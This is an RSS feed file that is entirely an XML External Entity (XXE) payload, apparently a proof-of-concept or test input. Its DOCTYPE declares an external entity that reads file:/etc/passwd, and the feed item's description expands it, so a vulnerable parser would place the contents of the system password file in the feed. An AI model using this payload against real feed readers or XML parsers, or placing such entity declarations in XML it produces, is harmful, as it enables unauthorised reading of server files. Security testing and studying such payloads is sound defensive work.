<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE x [
    <!ENTITY passwd SYSTEM 'file:/etc/passwd'>
]>
<rss version="2.0">
    <channel>
        <title>RSS feed vulnerable</title>
        <description>Content of /etc/passwd</description>
        <item>
            <title>/etc/passwd</title>
            <description>&passwd;</description>
            <link>http://www.google.fr</link>
        </item>
    </channel>
</rss>